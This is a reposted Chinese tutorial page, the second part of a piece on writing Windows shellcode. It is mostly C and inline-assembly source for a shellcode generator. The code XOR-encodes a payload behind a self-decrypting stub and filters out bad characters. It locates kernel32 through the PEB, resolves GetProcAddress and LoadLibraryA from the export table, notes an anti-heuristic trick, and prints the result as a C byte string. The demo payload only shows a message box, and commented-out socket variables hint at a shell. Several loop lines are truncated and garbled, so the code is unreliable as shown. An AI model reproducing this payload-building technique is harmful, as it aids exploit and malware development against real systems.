Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > 关于Windows下ShellCode编写的一点思考 下
【标  题】:关于Windows下ShellCode编写的一点思考 下
【关键字】:C,Windows,in,Win,Window,Shell,Code,do,Wi,Windows,ShellCode
【来  源】:网络

关于Windows下ShellCode编写的一点思考 下

Your Ad Here   //
  //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
  //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
  //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
  //
  pDcrypt_addr=(char *)DecryptSc;

  //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
  //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

  ch=*pDcrypt_addr;
  if (ch==0xe9)
  {
      pDcrypt_addr++;
      i=*(int *)pDcrypt_addr;
      pDcrypt_addr+=(i+4);      //此时指向函数的实际地址
  }
  //找到解码代码的开始部分
  for(k=0;k
  if (k   else
  {
      //显示错误信息
      k=0;
      printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");
      return 0;
  }

  for(k=0;k
  if (k  else
  {
      k=0;
      printf("\nNo End str defined in Decrypt function!Please Check....\n");
      return 0;
  }

  memset(buff,nop_CODE,BUFFSIZE);               //缓冲区填充
  memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);        //把DecryptSc代码复制进buff

  //
  //处理ShellCode代码,如果需要定位到代码的开始
  //
  pSc_addr=(char *)ShellCodes;     //shellcode的地址

  //调试状态下的函数地址处理,便于调试
  ch=*pSc_addr;
  if (ch==0xe9)
  {
      pSc_addr++;
      i=*(int *)pSc_addr;
      pSc_addr+=(i+4);      //此时指向函数的实际地址
  }

  //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
  /*
  for (k=0;k
  if (k   */

  //找到shellcode的结尾及长度
  for(k=0;k   if (k  else
  {
      k=0;
      printf("\nNo End str defined in ShellCodes function!Please Check....\n");
      return 0;
  }


  //把shellcode代码复制进sc_buff
  memcpy(sc_buff,pSc_addr,Sc_len);

  //把字符串拷贝在shellcode的结尾
  for(i=0;i   if(i>=MAX_api_strlen)
  {
      printf("\nNo End str defined in API strings!Please Check....\n");
      return 0;
  }
  memcpy(sc_buff+k,ApiStr,i);

  Sc_len+=i;        //增加shellcode的长度

  //
  //对shellcode进行编码算法简单,可根据需要改变
  //
  k=EncCode_len+nop_LEN;    //定位缓冲区应存放ShellCode地址的开始

  for(i=0;i
     ch=sc_buff[i]^Enc_key;
     //对一些可能造成shellcode失效的字符进行替换
     if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
     {
        buff[k]='0';
        ++k;
        ch+=0x31;
     }
     //把编码过的shellcode放在DecryptSc代码后面
     buff[k]=ch;
     ++k;
  }

  //shellcode的总长度
  buff_len=k;

  //打印出shellcode
  PrintSc(buff,buff_len);
  //buff[buff_len]=0;
  //printf("%s",buff);

#ifdef DEBUG
  _asm{
      lea eax,buff
      jmp eax
      ret
  }
#endif

    return  0;
}

//解码shellcode的代码
void  DecryptSc()
{
       __asm{

/////////////////////////
//定义开始标志
/////////////////////////
      PROC_BEGIN    //C macro to begin proc

      jmp   next
getEncCodeAddr:
      pop   edi
      push  edi
      pop   esi
      xor   ecx,ecx
Decrypt_lop:
      lodsb
      cmp  al,cl
      jz   shell
      cmp  al,0x30  //判断是否为特殊字符
      jz   special_char_clean
store:      
      xor  al,Enc_key
      stosb
      jmp  Decrypt_lop
special_char_clean:  
      lodsb
      sub al,0x31
      jmp store
next:    
      call  getEncCodeAddr
      //其余真正加密的shellcode代码会连接在此处
shell:    

/////////////////////////
//定义结束标志
/////////////////////////
      PROC_END      //C macro to end proc

      }
}        

//
//shellcode代码
//
void ShellCodes()
{
    //API低址数组    
    FARPROC     API[API_num];


    //自己获取的API地址
    FARPROC     GetProcAddr;
    FARPROC    LoadLib;

    HANDLE      hKrnl32;
    HANDLE      libhandle;

    char        *ApiStr_addr,*p;
    
    int         k;
    u_short     shellcodeport;

    //测试用变量
    char        *testAddr;

/*
    STARTUPINFO siinfo;
    SOCKET      listenFD,clientFD;
    struct      sockaddr_in server;
    int         iAddrSize = sizeof(server);
    int         lBytesRead;
    PROCESS_INFORMATION ProcessInformation;
    HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    SECURITY_ATTRIBUTES sa;

*/


_asm {
        jmp    locate_addr0
getApiStr_addr:
        pop    ApiStr_addr

        //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
        //以后就可以方便地获取任何API的地址了

        //保护寄存器
        pushad

    xor     esi,esi
        lods    dword ptr fs:[esi]
        
Search_Krnl32_lop:
        inc     eax
        je      Krnl32_Base_Ok
        dec     eax
        xchg    esi,eax
        LODSD  
        jmp     Search_Krnl32_lop
Krnl32_Base_Ok:

        LODSD              
                    ;compare if PE_hdr
        xchg    esi,eax
    find_pe_header:
        dec     esi
        xor     si,si       ;kernel32 is 64kb align
        mov     eax,[esi]
        add     ax,-'ZM'        ;      
        jne     find_pe_header
        mov     edi,[esi+3ch]   ;.e_lfanew        
        mov     eax,[esi+edi]
        add     eax,-'EP'       ;anti heuristic change this if you are using MASM etc.    
        jne     find_pe_header  
        
        push     esi
                    ;esi=VA Kernel32.BASE
                    ;edi=RVA K32.pehdr        
        mov     ebx,esi
        mov     edi,[ebx+edi+78h]  ;peh.DataDirectory
        
        push    edi
        push    esi

        mov     eax,[ebx+edi+20h]  ;peexc.AddressOfNames            
        mov     edx,[ebx+edi+24h]  ;peexc.AddressOfNameOrdinals      
        call    __getProcAddr
        _emit 0x47
        _emit 0x65
        _emit 0x74
        _emit 0x50
        _emit 0x72
        _emit 0x6F
        _emit 0x63
        _emit 0x41
        _emit 0x64
        _emit 0x64
        _emit 0x72
        _emit 0x65
        _emit 0x73
        _emit 0x73
        _emit 0x0
        //db     "GetProcAddress",0
__getProcAddr:
        pop     edi
        mov     ecx,15        
        sub     eax,4
next_:        
        add     eax,4
        add     edi,ecx
        sub     edi,15
        mov     esi,[ebx+eax]
        add     esi,ebx
        mov     ecx,15
        repz    cmpsb
        jnz     next_

        pop     esi
        pop     edi

        sub     eax,[ebx+edi+20h]      ;peexc.AddressOfNames
        shr     eax,1
        add     edx,ebx
        movzx   eax,word ptr [edx+eax]        
        add     esi,[ebx+edi+1ch]      
;peexc.AddressOfFunctions
        add     ebx,[esi+eax*4]        
;ebx=Kernel32.GetProcAddress.addr
                        
;use GetProcAddress and hModule to get other func
        pop     esi             ;esi=kernel32 Base

        mov     [hKrnl32],esi       //保存
        mov     [GetProcAddr],ebx       //保存

        call    _getLoadLib
        _emit 0x4C
        _emit 0x6F
        _emit 0x61
        _emit 0x64
        _emit 0x4C
        _emit 0x69
        _emit 0x62
        _emit 0x72
        _emit 0x61
        _emit 0x72
        _emit 0x79
        _emit 0x41
        _emit 0x0
        //db      "LoadLibraryA",0
        
_getLoadLib:
        push    esi
        call    ebx
        mov     [LoadLib],eax

        //恢复寄存器,避免更多问题
        popad
    }

   //取出定义的端口地址
   shellcodeport=*(u_short *)ApiStr_addr;
   ApiStr_addr+=2;
  
   ////////////////////////////////测试用
    testAddr=ApiStr_addr;
   ////////////////////////////////////

   //利用GetProcAddress来获得shellcode中所用到的API地址

   libhandle=hKrnl32;
   p=ApiStr_addr;

   k=0;
   ///*
   while ( *((unsigned int *)p) != 0)
   {
       ApiStr_addr=p;
       while(*p) p++;   //前进到下一个字符串

       if (*( (unsigned int *)(p-4))=='lld.')
       {
       libhandle=(HANDLE)LoadLib(ApiStr_addr);  //若为DLL则加载DLL
       }
       else
       {
       API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
       k++;
       }
      
       ApiStr_addr=++p; //更新指针前进一个字符位置
      
   }
  
   //*/

///////////////////////////////////////////////////////
//         下面就可以使用C语言来编写真正实现功能的shellcode了            //
//////////////////////////////////////////////////////////
//
//简单测试几个API看是否复合要求
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
/////////////////////////////////////////////////////
//                   shellcode功能部分结束               //
////////////////////////////////////////////////////////

//死循环
die:  
    goto die;
__asm
    {
locate_addr0:  
       call getApiStr_addr      //5 bytes
//真正的字符串数据要连接在此处
    



/////////////////////////
//定义结束标志
/////////////////////////
      PROC_END      //C macro to end proc
      
     }
}

//
//显示打印生成的shellcode的C string格式代码
//
void PrintSc(char *lpBuff, int buffsize)
{
    int i,j;
    char *p;
    char msg[4];
    for(i=0;i     {
        if((i%16)==0)
        if(i!=0)
            printf("\"\n\"");
        else
            printf("\"");
        sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
        for( p = msg, j=0; j < 4; p++, j++ )
        {
        if(isupper(*p))
            printf("%c", _tolower(*p));
        else
            printf("%c", p[0]);
        }
    }
    printf("\";\n/*Shell total are %d bytes */\n",buffsize);
}

手把手教你写小偷程序:【上一篇】
书写基于内核的linux键盘纪录器 上:【下一篇】
【相关文章】
  • Novarg/Mydoom蠕虫及其变种分析报告
  • 书写基于内核的linux键盘纪录器 下
  • 对Mydoom.a的shimgapi.dll的分析 上
  • Windows 2000下的Raw Socket编程
  • Visual Basic编程疑难问题解(二)四
  • Visual Basic编程疑难问题解(二)五
  • Visual Basic编程疑难问题解(二)六
  • 如何在本地机器调试CGI
  • 利用IEObjectData漏洞实现网页木马
  • 用VC++实现Win2000/XP下的休眠
  • 【随机文章】
  • 如何使用JSP+MySQL创建留言本
  • 用FreeBSD构建家庭网络世界(1)
  • 我的中国诗词程序
  • 第三方服务器组件
  • linux下连接肉机3389端口
  • Ruby on Rails + Mysql 4.1 解决GBK编码问题
  • WWW攻击手法
  • 选择安装还是升级
  • [转]/proc/sys/net/ipv4/ 参数
  • ASP.NET底层架构
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 软讯网络 All Rigths Reserved.